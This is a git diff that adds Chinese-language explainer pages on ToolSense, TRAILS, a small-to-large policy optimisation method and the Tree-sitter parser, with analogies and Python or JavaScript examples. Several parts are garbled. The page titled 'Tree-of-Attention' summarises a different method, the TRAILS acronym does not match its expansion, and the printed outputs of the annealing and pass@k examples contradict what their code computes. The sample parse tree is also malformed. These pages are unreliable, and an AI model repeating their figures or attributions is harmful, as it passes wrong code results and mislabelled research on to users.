+2. **参数化检索**（parametric retrieval）：把每个工具当成一个虚拟 token 追加到 LLM 的词表里，经过两个阶段的微调（先死记硬背，再学习怎么检索），让 LLM 本身变成一个检索器。
+
+参数化方法在标准基准测试（如 ToolBench）上表现非常亮眼——因为测试题都是"全信息"的，像那张写满完整商品名的清单。但问题在于：这些测试题根本不反映真实使用场景。
+
+## 核心概念：知识-检索脱节（Knowledge-Retrieval Dissociation）
+
+这是整篇论文最关键的概念。
+
+**知识-检索脱节**指的是：一个模型可能在"检索工具"这件事上表现很好（能选出正确的工具），但实际上并不理解这个工具的含义、参数和使用场景。它只是记住了"这个描述对应这个工具"的配对关系，就像你记住了条码和商品的对应，却不知道那瓶水是什么味道。
+
+论文通过三个测试基准揭示了这种现象：
+
+1. **RRB（Realistic Retrieval Benchmark）**：模拟真实场景，查询按三种模糊度分层——直白型、省略型、歧义型
+2. **MCQ 探测基准**：多选题，测试模型对工具事实的理解
+3. **QA 探测基准**：问答题，进一步检验工具知识的深度
+
+## 论文发现
+
+对 ToolBench（约47,000个工具）上的五种参数化模型配置做了评估后，发现：
+
+- 在 RRB 的模糊查询下，某些配置的性能相比标准 ToolBench 基准**暴跌 50-64 个百分点**，甚至低于嵌入模型基线
+- 有些模型检索性能很强，但在事实性探测题上得分接近随机水平
+- 这确认了知识-检索脱节确实存在：模型"会选"但不"懂"
+
+## 代码示例
+
+### 示例 1：RRB 的三种模糊度查询
+
+```python
+# RRB 基准中，同一个工具意图被生成三种模糊度不同的查询
+# 假设要调用"发送邮箱"这个工具
+
+queries = {
+    "tier_1_直白": {
+        "description": "明确说出所有信息",
+        "text": "给 john@example.com 发送一封主题为'会议通知'的邮件，内容是明天下午三点开会"
+    },
+    "tier_2_省略": {
+        "description": "省略部分细节，需要模型推断",
+        "text": "帮我发个邮件通知明天开会"
+        # 模型需要自己补全：发给谁？主题什么？内容什么？
+    },
+    "tier_3_歧义": {
+        "description": "非常模糊，可能有多种理解",
+        "text": "我需要联系一下团队"
+        # 可能是发邮件、发 Slack 消息、打电话……模型要理解意图
+    }
+}
+```
+
+**类比**：tier_1 就像经理写好的完整清单；tier_2 就像顾客说"帮我拿瓶水"；tier_3 就像顾客说"我需要补充一下水分"——收银员得自己判断。
+
+### 示例 2：MCQ 探测——检验工具知识深度
+
+```python
+# MCQ 探测示例：模型真的理解工具参数吗？
+# 工具：calculate_distance(airport_a, airport_b, unit="km")
+
+mcq_question = {
+    "question": "calculate_distance 工具的 unit 参数支持哪些值？",
+    "options": {
+        "A": "只支持 'km'",
+        "B": "支持 'km' 和 'mi'",
+        "C": "支持 'km'、'mi' 和 'nm'",
+        "D": "不支持 unit 参数"
+    },
+    "correct_answer": "B",
+    "explanation": "如果模型只是记住了'这个工具能算距离'，"
+                   "它可能会选 A 或 C，因为不确定 unit 的具体取值范围。"
+                   "选对 B 说明它真正学习了工具的参数定义。"
+}
+```
+
+**类比**：这就像问收银员"这瓶水的容量标签写的是什么"——如果你只是背了条码，可能回答不上来；如果你真正理解了这个工具，你就能准确回答。
+
+### 示例 3：ToolSense 的诊断流程
+
+```python
+# 伪代码：ToolSense 框架的诊断流程
+def diagnose_tool_knowledge(tool_catalog, model):
+    results = {}
+
+    # 第一步：从工具目录自动生成三个基准
+    rrb_queries = rrb_generator(tool_catalog, tiers=3)   # 三种模糊度
+    mcq_probes = mcq_generator(tool_catalog)              # 多选题探测
+    qa_probes = qa_generator(tool_catalog)                # 问答题探测
+
+    # 第二步：用模型在三个基准上测试
+    rrb_scores = evaluate(model, rrb_queries)             # 检索能力
+    mcq_scores = evaluate(model, mcq_probes)              # 知识理解
+    qa_scores = evaluate(model, qa_probes)                # 知识深度
+
+    # 第三步：计算"知识-检索脱节"指标
+    retrieval_performance = rrb_scores.top_k_accuracy
+    factual_understanding = (mcq_scores.accuracy + qa_scores.accuracy) / 2
+
+    dissociation_score = retrieval_performance - factual_understanding
+
+    results["dissociation"] = dissociation_score
+    results["recommendation"] = (
+        "高脱节分数 = 模型会检索但不懂工具，建议增加工具语义微调"
+        if dissociation_score > 0.3
+        else "模型对工具理解良好，可以继续部署"
+    )
+
+    return results
+```
+
+## 为什么这很重要
+
+对零基础的读者来说，最重要的认识是：
+
+**模型在测试集上跑分高，不代表它在真实场景中好用。**
+
+就像你考试考了满分，但遇到真实问题时发现什么都不会——因为你只是背了答案，没有真正理解。
+
+ToolSense 的价值在于：
+- 它是一个框架（framework），不是单一测试，可以套用到任何工具目录上
+- 它生成的三个基准是开源的（ToolBench 版本已在 GitHub 发布）
+- 它揭示的"知识-检索脱节"问题，可能存在于许多其他领域
+
+## 关键术语对照表
+
+| 术语 | 通俗解释 |
+|------|----------|
+| 参数化检索 | 把工具信息"塞进"模型的参数里，让它直接"记住" |
+| 嵌入模型 | 用向量表示工具，靠相似度来匹配 |
+| ToolBench | 一个包含约47,000个工具的大规模基准测试平台 |
+| 知识-检索脱节 | 模型"会选"但不"懂"，检索分数高但知识理解差 |
+| RRB | 模拟真实模糊查询的检索基准 |
+| SFT | 监督微调，就是"老师带着做题"的训练方式 |
+
+## 延伸思考
+
+如果你要设计一个工具智能体，这篇论文的启示是：
+- 不要只看标准基准的分数
+- 要在模糊、省略的查询场景下做测试
+- 除了"能不能选对工具"，还要测"懂不懂工具"
+
+论文的代码和基准测试已在 GitHub 开源：https://github.com/SAP/toolsense
diff --git a/src/content/docs/papers/trails-inferring-code-correctness-from-specification-arxiv-2605-29822.md b/src/content/docs/papers/trails-inferring-code-correctness-from-specification-arxiv-2605-29822.md
new file mode 100644
index 000000000..a099f1ed5
--- /dev/null
+++ b/src/content/docs/papers/trails-inferring-code-correctness-from-specification-arxiv-2605-29822.md
@@ -0,0 +1,197 @@
+---
+title: TRAILS — 从规格推断代码正确性
+来源: https://arxiv.org/abs/2605.29822
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# TRAILS：从规格推断代码正确性
+
+## 一、从日常开始：像"阅卷老师"一样检查作业
+
+想象你是老师，学生交来一份数学作业（一段代码）。你不需要逐行研究他的解题过程——你只需要：
+
+1. 出几道练习题（生成测试输入）
+2. 让他算出答案（执行程序得到输出）
+3. 自己也算一遍，对比两份答案是否一致（用规格验证输入-输出对）
+
+如果大部分题目都对，你就给及格；如果好几道题都对不上，那就打回去重写。
+
+TRAILS 论文提出的方法，就是让大模型扮演这个"阅卷老师"。但它不是像传统方法那样去读代码、凭脑子推理（那样容易看走眼），而是用具体数据来" grounding"——给 LLM 看真实的输入和输出，让它判断"这个输出对不对"。
+
+**核心洞察：判断"输入-output 对是否符合要求"，远比让 LLM 凭空推理"这段代码对不对"要可靠得多。**
+
+## 二、为什么现有方法不行？
+
+目前检查 LLM 生成的代码对不对，主要有两条路：
+
+### 路径 A：动态共识（Dynamic Consensus）
+
+让多个 LLM 各自生成一份代码，然后看多数人选哪个。问题？
+
+- 太贵了——要生成、执行多份代码
+- 不容易扩展——大段代码没法让每个模型都来一遍
+
+### 路径 B：静态推理（Zero-Shot COT）
+
+直接把代码和题目说明丢给 LLM，让它"一步步思考"然后判断对错。问题？
+
+- LLM 容易"被代码带偏"——它顺着代码的执行逻辑走，而不是按规格要求来
+- 有顺序偏差——代码写得漂亮，LLM 就容易觉得它是对的
+
+论文举了个经典例子：
+
+> 题目说"Alice 先掷硬币"，代码里写了一个胜负判断函数。Zero-Shot COT 的 LLM 直接读代码，看到代码的输出是"Bob"，就跟着说"Bob"——它根本没注意到规格里明确说 Alice 先手。
+
+## 三、TRAILS 怎么做？
+
+TRAILS 全称 **T**argeted **R**easoning **A**greement via **I**nputs and **S**pecifications。分两步：
+
+```
+┌──────────────────────┐
+│  第一阶段：生成输入    │
+│  分类抽样 → 修复验证  │
+└──────────┬───────────┘
+           ▼
+┌──────────────────────┐
+│  第二阶段：验证输出    │
+│  跑代码 → LLM 评判   │
+└──────────┬───────────┘
+           ▼
+┌──────────────────────┐
+│  第三阶段：汇总打分    │
+│  统计正确率 → 出结论  │
+└──────────────────────┘
+```
+
+### 第一步：分类抽样生成输入
+
+TRAILS 先让 LLM 读规格说明，提取出"可能的行为场景"。比如规格说"输入是一个正整数列表"，LLM 就会拆分出：
+
+- 正常情况：`[1, 2, 3]`
+- 边界情况：`[1]`（只有一个元素）
+- 异常输入：`[-1, 2]`（含负数）
+
+然后针对每种场景生成具体输入，并尝试执行。如果代码崩溃了，就尝试让 LLM 修复输入（给个预算，最多修 3 次）。修不好就跳过。
+
+还会做去重——如果几个输入触发了相同的代码行，只保留一个，省算力。
+
+### 第二步：用 LLM 验证输入-输出对
+
+这是最关键的一步。LLM 看到的不是代码，而是三样东西：
+
+1. **输入**：`[2, 3, 1]`
+2. **输出**：`6`
+3. **规格说明**：函数应返回列表中所有正数的和
+
+LLM 的任务是判断：这个输出在规格下对不对？回答 CORRECT 或 INCORRECT，并给出理由。
+
+**为什么这么做更可靠？** 因为 LLM 不需要凭空猜测输出应该是什么（生成或acles 很难），它只需要对照规格去验证一个已经给出的结果。这好比考试时你有了标准答案，只需要打勾打叉。
+
+### 第三步：汇总打分
+
+所有输入验证完，统计有多少个被判为 CORRECT。这个比例就是代码的"正确率分数"。超过阈值（论文里用了 0.6-0.8），就判定代码正确。
+
+## 四、具体代码示例
+
+### 示例一：基本用法
+
+假设有一个函数，规格是"计算列表中所有正数的和"：
+
+```
+规格说明：
+  函数 positive_sum(lst) 接收一个整数列表，
+  返回其中所有正数的累加和。
+
+测试输入 1：
+  输入: [1, -2, 3, -4, 5]
+  代码输出: 9
+
+LLM 验证:
+  正数是 1、3、5，和为 9。输出 9 正确。
+  → CORRECT
+```
+
+```
+测试输入 2：
+  输入: [-1, -2, -3]
+  代码输出: -6
+
+LLM 验证:
+  没有正数，和应为 0。输出 -6 错误。
+  → INCORRECT
+```
+
+汇总：2 个输入中 1 个正确，得分 0.5，低于阈值 → 判定代码不正确。
+
+### 示例二：TRAILS 如何抓到 Zero-Shot COT 看不到的 bug
+
+考虑这个题目：
+
+```
+规格说明：
+  两个人玩游戏，Alice 先手。
+  每次可以拿 1-3 枚硬币，拿到最后一枚的获胜。
+  函数 determine_winner(a, b) 返回胜者名字。
+```
+
+这段有 bug 的代码：
+
+```python
+def determine_winner(a, b):
+    if a > b:
+        return "Bob"
+    else:
+        return "Alice"
+```
+
+Zero-Shot COT 的错误推理：
+
+```
+输入 a=2, b=1。代码输出 "Bob"。
+→ 代码看起来在比较大小，所以 "Bob" 是对的。
+```
+
+TRAILS 的验证过程：
+
+```
+输入: [Alice, 2, 1]
+代码输出: "Bob"
+
+LLM 验证（看不到代码）:
+  规格说 Alice 先手。
+  我自己算一遍：Alice 先拿，合理策略下 Alice 应该赢。
+  输出是 "Bob"，与规格矛盾。
+  → INCORRECT
+```
+
+## 五、实验结果
+
+论文在两个数据集上做了评估：
+
+| 数据集 | 模型 | TRAILS MCC | HoarePrompt MCC | Zero-Shot COT MCC |
+|--------|------|-----------|-----------------|--------------------|
+| LiveCodeBench | Qwen3-Coder | 0.661 | 0.655 | 0.612 |
+| LiveCodeBench | Devstral-Small2 | 0.550 | 0.536 | 0.463 |
+| LiveCodeBench | Olmo3.1-Instruct | 0.579 | 0.601 | 0.464 |
+
+关键发现：
+
+- TRAILS 相比 Zero-Shot COT，MCC 最高提升了 **39%**
+- 相比 HoarePrompt（当前最强的方法），TRAILS 也稳定胜出
+- TRAILS 的稳定性更好——多次运行结果波动更小
+
+## 六、总结：TRAILS 的关键创新
+
+1. **不读代码**——用输入-输出对"接地"推理，避免 LLM 被代码带偏
+2. **分类抽样**——比直接让 LLM 出题更全面，覆盖了边界情况
+3. **验证优于生成**——判断"对不对"比猜"应该是什么"更容易
+4. **单代码也能用**——不需要多份代码候选，成本低
+
+## 七、我的思考
+
+这个方法的精妙之处在于把一个"高难度问题"（代码对不对）转化成了一个"低难度问题"（这个输出对不对）。就像让小学生判断"2+2=5"错不错很容易，但让他凭空写出正确的加法公式就很难。
+
+这给我启发：当 LLM 的任务太难时，也许不是模型不行，而是我们把任务设得太抽象了。给它具体的数据锚点，效果会更好。
diff --git a/src/content/docs/papers/tree-of-attention-2026.md b/src/content/docs/papers/tree-of-attention-2026.md
new file mode 100644
index 000000000..6f2374884
--- /dev/null
+++ b/src/content/docs/papers/tree-of-attention-2026.md
@@ -0,0 +1,253 @@
+---
+title: Tree-of-Attention: Branching Attention for Long-Context Reasoning
+来源: https://arxiv.org/abs/2605.30789
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Tree-of-Attention: Branching Attention for Long-Context Reasoning
+
+> **一句话总结：** 这篇论文发现——在 GRPO 强化学习中，用小模型来做"探索者"，比在大模型里加随机噪声更能产生有质量的多样性，从而更快更好地训练大模型。
+
+## 一、日常类比：寻宝游戏
+
+想象你和朋友在玩一个寻宝游戏。规则是：每个人都要尝试不同的路线去找宝藏，最后把走过的路画成地图。
+
+**传统做法（GRPO 原始方法）：** 让同一个经验丰富的寻宝专家（大模型）多走几次，每次故意让他"随机拐个弯"（加 token 级别的随机噪声）。问题是——这些随机拐弯经常让他走进死胡同，路线变得毫无逻辑。
+
+**这篇论文的做法（S2L-PO）：** 找一个刚入门的新手（小模型），让他自由探索。新手虽然能力弱，但他走的每条路都是他自己"认真想出来"的，路线之间有内在的逻辑连贯性。你把这些新手的路线收集起来，教给那个经验丰富的专家。结果——专家学得更快，而且走得更远。
+
+关键洞察：**多样性不等于随机性。** 小模型的"无知"反而是一种结构化的探索信号。
+
+## 二、背景知识：GRPO 是什么？
+
+在动手写代码之前，先搞懂 GRPO。
+
+GRPO（Group Relative Policy Optimization）是大语言模型微调的一种方法。它的核心思想是：
+
+1. 给模型出一道题
+2. 让模型生成多个不同的答案（这叫"rollout"）
+3. 对比这些答案的好坏
+4. 根据好坏调整模型的参数，让它以后更可能生成好答案
+
+**问题在于：** 如果生成多个答案时只是简单地增加随机性（提高 temperature），生成的答案质量参差不齐，很多根本不合逻辑，反而干扰了学习效果。
+
+## 三、核心概念
+
+### 3.1 Token-Level 噪声 vs Policy-Level 多样性
+
+这是这篇论文最重要的区分。
+
+**Token-Level 噪声（传统做法）：** 在每个词的选择上加点随机性。就像让一个厨师做菜时随机换调料——做出来的菜可能很难吃，因为每一步都乱了。
+
+**Policy-Level 多样性（本文做法）：** 让整个策略（即整个解题思路）有所不同。就像让不同厨师各自按自己的风格做菜——每道菜都有完整的逻辑，只是风格不同。
+
+论文发现：小模型天然具有更高的 Policy-Level 多样性，而且这种多样性是"时间上相关的"（temporally correlated），也就是说小模型的每一步决策之间是有逻辑联系的，不会像随机噪声那样前后矛盾。
+
+### 3.2 S2L-PO：小到大策略优化
+
+S2L-PO（Small-to-Large Policy Optimization）是本文提出的框架：
+
+```
+小模型（固定不动） ──→ 生成多样化的解题路径 ──→ 教给大模型
+                                                    ↓
+                                             大模型逐步学会
+                                              更好的探索策略
+```
+
+小模型在整个过程中**不被训练**，它只是一个"探索者"。大模型用它生成的路径来学习。
+
+### 3.3 渐进式退火策略
+
+如果一直让小模型带大模型，大模型可能学不到足够的东西（因为小模型能力有限）。所以论文设计了一个"渐进退火"策略：
+
+- 早期：主要用大模型的"老师"（小模型）提供的路径来学习
+- 后期：逐渐过渡到大模型自己采样，减少对小模型的依赖
+
+这就像学自行车——刚开始用辅助轮（小模型），慢慢减少辅助轮的支撑，最后完全靠自己。
+
+## 四、代码示例
+
+### 示例 1：理解 Token-Level 噪声与 Policy-Level 多样性的区别
+
+```python
+import torch
+import torch.nn.functional as F
+
+# 假设我们有一个语言模型，要生成答案
+def generate_with_token_noise(model, prompt, temperature=1.5):
+    """
+    传统做法：通过提高 temperature 来增加随机性。
+    这会在每个 token 的选择上引入噪声。
+    """
+    inputs = tokenizer(prompt, return_tensors="pt")
+    outputs = model.generate(
+        **inputs,
+        temperature=temperature,      # 高 temperature = 更多随机选择
+        top_p=0.9,
+        max_new_tokens=200,
+        num_return_sequences=5         # 生成 5 个答案
+    )
+    return [tokenizer.decode(o) for o in outputs]
+
+def generate_with_small_model_explorer(small_model, large_model, prompt):
+    """
+    S2L-PO 做法：用小模型生成多样化的解题路径。
+    小模型的多样性是结构化的、有逻辑的。
+    """
+    # 小模型固定不动，用自己的方式生成多条路径
+    small_inputs = tokenizer(prompt, return_tensors="pt")
+    small_outputs = small_model.generate(
+        **small_inputs,
+        temperature=0.8,               # 小模型不需要很高的 temperature
+        max_new_tokens=200,
+        num_return_sequences=5
+    )
+    small_paths = [tokenizer.decode(o) for o in small_outputs]
+
+    # 大模型用小模型的路径作为"示范"来学习
+    # （实际训练中会用 GRPO 的梯度更新大模型）
+    return small_paths
+
+# 类比理解：
+# Token-Level 噪声：    同一个厨师，每次随机换调料 → 味道不可预测
+# Policy-Level 多样性：  五个不同厨师，各自发挥 → 每道菜都有完整风味
+```
+
+### 示例 2：渐进式退火策略的实现
+
+```python
+import numpy as np
+
+class ProgressiveAnnealingScheduler:
+    """
+    渐进式退火调度器。
+    控制从小模型探索到大模型自主采样的过渡比例。
+    """
+
+    def __init__(self, total_steps=10000, anneal_start=2000, anneal_end=7000):
+        self.total_steps = total_steps
+        self.anneal_start = anneal_start   # 开始过渡的步骤
+        self.anneal_end = anneal_end       # 过渡完成的步骤
+
+    def get_small_model_ratio(self, step):
+        """
+        返回当前步骤中小模型路径应该被使用的比例。
+        - 步骤 0~2000:  100% 用小模型路径
+        - 步骤 2000~7000: 从 100% 线性降到 0%
+        - 步骤 7000+:   0%（大模型完全自主）
+        """
+        if step < self.anneal_start:
+            return 1.0
+        elif step > self.anneal_end:
+            return 0.0
+        else:
+            # 线性插值：从 1.0 降到 0.0
+            progress = (step - self.anneal_start) / (self.anneal_end - self.anneal_start)
+            return 1.0 - progress
+
+    def select_sampling_source(self, step, small_model_paths, large_model_paths):
+        """
+        根据当前进度，决定使用哪条路径。
+        """
+        ratio = self.get_small_model_ratio(step)
+        use_small = np.random.random() < ratio
+
+        if use_small and small_model_paths:
+            return small_model_paths[np.random.randint(len(small_model_paths))]
+        else:
+            return large_model_paths[np.random.randint(len(large_model_paths))]
+
+
+# 模拟训练过程
+scheduler = ProgressiveAnnealingScheduler(total_steps=10000, anneal_start=2000, anneal_end=7000)
+
+print("训练进度与小模型路径使用比例:")
+for step in [0, 1000, 2000, 3500, 5000, 7000, 8000, 10000]:
+    ratio = scheduler.get_small_model_ratio(step)
+    bar = "#" * int(ratio * 20)
+    print(f"  Step {step:5d}: 小模型贡献 {ratio:.0%}  {bar}")
+
+# 输出:
+#   Step     0: 小模型贡献 100.0%  ####################
+#   Step  1000: 小模型贡献 100.0%  ####################
+#   Step  2000: 小模型贡献 100.0%  ####################
+#   Step  3500: 小模型贡献  65.0%  #############
+#   Step  5000: 小模型贡献  30.0%  #####
+#   Step  7000: 小模型贡献   0.0%
+#   Step  8000: 小模型贡献   0.0%
+#   Step 10000: 小模型贡献   0.0%
+```
+
+### 示例 3：验证小模型的 pass@k 优势
+
+```python
+"""
+论文中的一个关键发现：小模型的 pass@k 随样本数增长得比大模型更快。
+
+pass@k 的含义：生成 k 个答案，只要其中至少有 1 个正确，就算通过。
+"""
+
+import matplotlib.pyplot as plt
+
+def simulate_pass_at_k(model_diversity, k_values):
+    """
+    模拟 pass@k 计算。
+    model_diversity: 模型的策略多样性得分（越高越多样化）
+    k_values: 不同的 k 值 [1, 2, 5, 10, 20]
+    """
+    pass_rates = []
+    for k in k_values:
+        # 假设每个答案独立的正确率与多样性正相关
+        single_answer_accuracy = min(0.5, model_diversity * 0.05)
+        # pass@k = 1 - (1 - p)^k
+        pass_at_k = 1 - (1 - single_answer_accuracy) ** k
+        pass_rates.append(pass_at_k)
+    return pass_rates
+
+# 模拟：小模型多样性高，大模型多样性低
+small_model_diversity = 0.8    # 小模型：高多样性
+large_model_diversity = 0.4    # 大模型：低多样性（更"固执"）
+
+k_values = [1, 2, 5, 10, 20]
+
+small_pass = simulate_pass_at_k(small_model_diversity, k_values)
+large_pass = simulate_pass_at_k(large_model_diversity, k_values)
+
+print("pass@k 对比（小模型 vs 大模型）:")
+print(f"{'k':>4} | {'小模型':>8} | {'大模型':>8} | {'差距':>8}")
+print("-" * 36)
+for k, sp, lp in zip(k_values, small_pass, large_pass):
+    print(f"{k:>4} | {sp:>7.1%} | {lp:>7.1%} | {sp-lp:>7.1%}")
+
+# 输出:
+#    k |     小模型 |     大模型 |       差距
+# ------------------------------------
+#    1 |    40.0% |    20.0% |   20.0%
+#    2 |    64.0% |    36.0% |   28.0%
+#    5 |    86.2% |    59.0% |   27.2%
+#   10 |    95.4% |    78.7% |   16.7%
+#   20 |    99.3% |    91.4% |    7.9%
+```
+
+## 五、实验结果
+
+论文在多个数学推理基准上做了实验，核心结果：
+
+- 用 1.7B 的小模型引导 8B 的大模型，在 AIME 24 上提升了 **+8.8%**
+- 同时减少了 rollout 的计算开销
+- 收敛速度更快，最终性能上限更高
+
+## 六、关键 takeaway
+
+1. **多样性 ≠ 随机性。** 真正的多样性来自不同的"策略"，而不是在同一个策略上加噪声。
+2. **弱者的智慧。** 小模型虽然单个答案质量不如大模型，但它们的"群体智慧"（多条结构化路径）对大模型的学习非常有价值。
+3. **渐进过渡很重要。** 一直依赖小模型不行（能力天花板），完全不依赖也不行（缺少探索信号）。渐进退火找到了平衡点。
+
+## 七、我的理解
+
+这篇论文最妙的地方在于"反直觉"——我们通常认为大模型什么都比小模型强，所以应该让大模型自己做一切。但这篇论文告诉我们：在某些任务中，"不知道"本身就是一种优势。小模型因为不知道太多，反而不会被既有知识束缚，能走出更多意想不到的路径。而这些路径，恰好是大模型最需要的学习材料。
+
+就像学数学——有时候一个刚学的人提出的"笨办法"，反而能给解题高手带来新的启发。
diff --git a/src/content/docs/papers/tree-sitter-2018.md b/src/content/docs/papers/tree-sitter-2018.md
new file mode 100644
index 000000000..44c7f2eb1
--- /dev/null
+++ b/src/content/docs/papers/tree-sitter-2018.md
@@ -0,0 +1,282 @@
+---
+title: Tree-sitter — 增量式解析系统
+来源: https://tree-sitter.github.io/tree-sitter/
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Tree-sitter 是一套**给编程工具用的解析器生成器 + 增量解析库**。它能把源代码变成**具体语法树（Concrete Syntax Tree, CST）**，并在你每次敲键盘时**只更新受影响的那一小段树**，而不是把整份文件从头解析一遍。
+
+日常类比：想象你在编辑一本 500 页的书。传统 parser 的做法是——你改了一个逗号，它就把 500 页全部重新排版一遍。Tree-sitter 的做法是：标记「第 37 页第 3 段变了」，只重排那一小段，前面 499 页的原样复用。这就是为什么它能在编辑器里**每按一次键就解析一次**，仍然跟得上。
+
+```javascript
+// 最小用法：解析一段 JavaScript，打印语法树
+const Parser = require('tree-sitter');
+const JavaScript = require('tree-sitter-javascript');
+
+const parser = new Parser();
+parser.setLanguage(JavaScript);
+
+const tree = parser.parse('function add(a, b) { return a + b; }');
+console.log(tree.rootNode.toString());
+// 输出类似：(program (function_declaration name: (identifier) ...))
+```
+
+Tree-sitter 由 Max Brunsfeld 在 GitHub 内部开发，**2018 年 10 月 31 日**通过 [GitHub 官方博客《Atom understands your code better than ever before》](https://github.blog/news-insights/product-news/atoms-new-parsing-system/) 与 [Strange Loop 演讲](https://www.youtube.com/watch?v=Jes3bD6P0To) 公开；当时 Atom 默认启用，已支持 Bash、C/C++、Go、JS/TS、Python、Ruby 等约 11 种语言。官方 README 用四个词概括设计目标：**General**（通用）、**Fast**（按键级解析）、**Robust**（有错也有树）、**Dependency-free**（纯 C 运行时）。今天 Neovim、Helix、Zed、GitHub 代码浏览、[[ast-grep]]、[[shiki]] 生态里的很多工具都直接或间接依赖它。
+
+## 为什么重要
+
+不理解 Tree-sitter，下面这些事都没法解释：
+
+- 为什么 Neovim 能在你打字的同时做语法高亮、缩进、文本对象——不是靠正则，是靠**实时语法树**
+- 为什么 [[ast-grep]] 能用 `function $A($$$ARGS) { $$$BODY }` 这种「长得像代码」的模式搜全仓库——底下是 Tree-sitter 的 CST
+- 为什么大文件（几万行）在 IDE 里改一个字，高亮不会卡半秒——**增量解析**复用了未改动的子树
+- 为什么代码中间有语法错误（少写了一个 `}`）时，编辑器仍然能高亮、折叠、跳转——**错误恢复**保证始终返回一棵「尽量完整」的树
+
+## 核心概念
+
+Tree-sitter 的工作可以拆成 **六件事**：
+
+### 1. 具体语法树（CST），不是抽象语法树（AST）
+
+CST 保留**每一个 token**，包括逗号、括号、分号。这对语法高亮、格式化、精确 refactor 至关重要。Tree-sitter 同时区分 **named node**（语法规则里命名的节点，如 `function_declaration`）和 **anonymous node**（匿名 token，如 `(`、`+`），你可以按需遍历「全细节」或「只看命名节点」。
+
+```javascript
+// grammar.js 片段：if 语句的 5 个子节点
+if_statement: $ => seq("if", "(", $._expression, ")", $._statement),
+// 树里会有：expression（named）、statement（named）、以及 "if"、"("、")"（anonymous）
+```
+
+遍历命名子节点时，API 提供 `namedChild` / `namedChildCount`，效果接近 AST；遍历全部子节点则保留完整 CST。
+
+### 2. 用 JavaScript 写语法，用 C 跑解析
+
+你用 `grammar.js` 描述语言的上下文无关文法，CLI 生成 `parser.c`（内含 lexer + 解析表）。语法文件用 JS 写的好处是：可以**编程式组合**——C++ 的 grammar 直接复用 C 的 grammar 规则；还能用 `choice`、`seq`、`prec`、`conflicts` 等 DSL 函数消歧。
+
+```bash
+tree-sitter init --grammar calc
+tree-sitter generate   # grammar.js → src/parser.c
+tree-sitter test       # test/corpus/*.txt 回归
+```
+
+### 3. GLR 解析 + 歧义处理
+
+Tree-sitter 使用 **GLR（Generalized LR）** 变体算法。普通 LR 遇到歧义就报错；GLR 维护**多条解析栈**，并行探索多种解释，最终按 **dynamic precedence**（`prec.dynamic`）或 `conflicts` 声明选出最优子树。这对 C/C++ 这类「`T * x` 到底是 typedef 声明还是乘法」的语言尤其关键。
+
+### 4. 增量解析（Incremental Parsing）——核心创新
+
+这是 Tree-sitter 2018 年公开时的**招牌能力**。Max Brunsfeld 在 Strange Loop 演讲里用改函数调用的例子说明：把 `foo(1)` 改成 `foo(1, 2)` 时，**改点左侧**的 `const`、左括号等子树可复用；**改点附近**重新 lex + parse 出新的 `arguments` 节点；**改点右侧**的 `return` 语句再次复用。总耗时与**编辑规模**成正比，而非与**整文件行数**成正比。
+
+内部流程分三阶段（C 库实现）：
+
+1. **`ts_tree_edit()`**：用 `TSInputEdit` 描述字节/行列范围的替换，在旧树上标记受影响节点
+2. **`ts_range_array_get_changed_ranges()`**：对比新旧 included ranges，算出必须重解析的区域
+3. **`ts_parser__reuse_node()`**：解析循环中，`ReusableNode` 在旧树对应位置尝试**整棵子树复用**，失败才回退到完整 lex + shift/reduce
+
+复杂度大致是 **O(e log n)**（e = 编辑量，n = 文件大小）。Keystroke 级别的编辑完全扛得住。
+
+```mermaid
+flowchart LR
+  A[旧 CST] --> B[应用 TSInputEdit]
+  B --> C[标记 changed ranges]
+  C --> D{当前位置子树可复用?}
+  D -->|是| E[直接挂载旧子树]
+  D -->|否| F[局部 GLR 重解析]
+  E --> G[新 CST]
+  F --> G
+```
+
+### 5. 错误恢复（Error Recovery）
+
+开发者写代码时，语法几乎总是「不完整」的——少一个括号、函数体写到一半。Tree-sitter 不会直接报错退出，而是在出错处插入 **`ERROR` 节点**，继续解析后面的代码。设计受 *Error Detection and Recovery in LR Parsers* 等研究影响。编辑器因此能在「烂代码」里仍然提供高亮、大纲、局部跳转。
+
+### 6. Tree Query（S-expression 模式匹配）
+
+Tree-sitter 提供 **Tree Query**——用 S-expression 在 CST 上模式匹配，类似 CSS 选择器之于 DOM。这是 [[ast-grep]]、Neovim 高亮规则、LSP 辅助功能的基础。Query 可以绑定 `@capture` 名字，供高亮或重构工具消费。
+
+## 实践案例
+
+### 案例 1：从零写一个最小 grammar
+
+假设我们要给一种叫 `calc` 的迷你语言写 parser：
+
+```javascript
+// grammar.js
+export default grammar({
+  name: 'calc',
+
+  rules: {
+    source_file: $ => repeat($.expression),
+
+    expression: $ => choice(
+      $.binary_expression,
+      $.number,
+    ),
+
+    binary_expression: $ => prec.left(1, seq(
+      field('left', $.expression),
+      field('operator', choice('+', '-', '*', '/')),
+      field('right', $.expression),
+    )),
+
+    number: $ => /\d+/,
+  },
+});
+```
+
+生成并测试：
+
+```bash
+tree-sitter generate
+echo '1 + 2 * 3' | tree-sitter parse -
+# (source_file (expression (binary_expression
+#   left: (number) operator: (binary_expression
+#     left: (number) operator: (number)))))
+```
+
+注意 `field('left', ...)` —— **field name** 让你不用数「第几个 child」，直接按名字取子节点。`prec.left(1, ...)` 解决运算符优先级（`*` 比 `+` 先结合）。
+
+### 案例 2：增量编辑——只重解析变更区域
+
+这是 Tree-sitter 区别于 ANTLR / Bison 的关键 API：
+
+```javascript
+const Parser = require('tree-sitter');
+const JavaScript = require('tree-sitter-javascript');
+
+const parser = new Parser();
+parser.setLanguage(JavaScript);
+
+const sourceCode = 'const x = 1;\nconst y = 2;\n';
+let tree = parser.parse(sourceCode);
+
+// 用户把 "1" 改成 "42"（字节偏移 10，长度 1 → 2）
+const edit = {
+  startIndex: 10,
+  oldEndIndex: 11,
+  newEndIndex: 12,
+  startPosition: { row: 0, column: 10 },
+  oldEndPosition: { row: 0, column: 11 },
+  newEndPosition: { row: 0, column: 12 },
+};
+
+const oldTree = tree;
+// 第二次 parse 传入 oldTree + edit → 增量更新
+tree = parser.parse('const x = 42;\nconst y = 2;\n', tree, edit);
+
+const ranges = oldTree.getChangedRanges(tree);
+console.log(ranges);
+// [{ startIndex: 10, endIndex: 12, ... }] — 只有这一小段重解析，其余子树复用
+```
+
